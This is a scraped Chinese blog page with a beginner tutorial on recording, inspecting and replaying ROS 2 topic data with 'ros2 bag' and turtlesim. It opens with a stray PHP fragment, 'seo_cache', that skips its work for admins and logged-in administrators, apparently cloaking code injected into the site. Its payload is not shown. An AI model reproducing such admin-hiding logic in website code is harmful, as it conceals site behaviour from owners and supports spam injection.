function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?> [ros2学习]-CLI Tools – 记录和播放数据_人工智能_开心洋葱网
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[ros2学习]-CLI Tools – 记录和播放数据

人工智能 LiAr 1605次浏览 0个评论 手机上查看

文章目录

    • ① 背景
    • ② 前提
    • ③ 任务
      • Ⅰ准备
      • Ⅱ 选择一个topic
      • Ⅲ ros2 bag 记录
      • Ⅳ ros2 bag info
      • Ⅴ ros2 bag play
    • ④ 总结

① 背景

  ros2 bag是用于记录系统中有关主题发布的数据的命令行工具。它累积在任何数量的主题上传递的数据，并将其保存在数据库中。然后，您可以重播数据以重现测试和实验的结果。录制主题也是共享您的作品并允许其他人重新创建作品的一种好方法。

② 前提

 

  • 安装ros2 bag sudo apt-get install ros-<distro>-ros2bag ros-<distro>-rosbag2*
  • 环境
  • 小乌龟

③ 任务

Ⅰ准备

运行 小乌龟  

ros2 run turtlesim turtlesim_node
ros2 run turtlesim turtle_teleop_key

  创建路径

mkdir bag_files

 

Ⅱ 选择一个topic

我们选择/turtle1/cmd_vel

Ⅲ ros2 bag 记录

命令：

ros2 bag record <topic_name>

  多个主题

ros2 bag record -o subset /turtle1/cmd_vel /turtle1/pose

  例子

cd cd bag_files
ros2 bag record /turtle1/cmd_vel

  在这里插入图片描述  

Ⅳ ros2 bag info

ros2 bag info <bag_file_name>

  在这里插入图片描述  

Ⅴ ros2 bag play

命令

ros2 bag play rosbag2_2020_04_02-19_19_47

  在这里插入图片描述

④ 总结

bag 重要的很  

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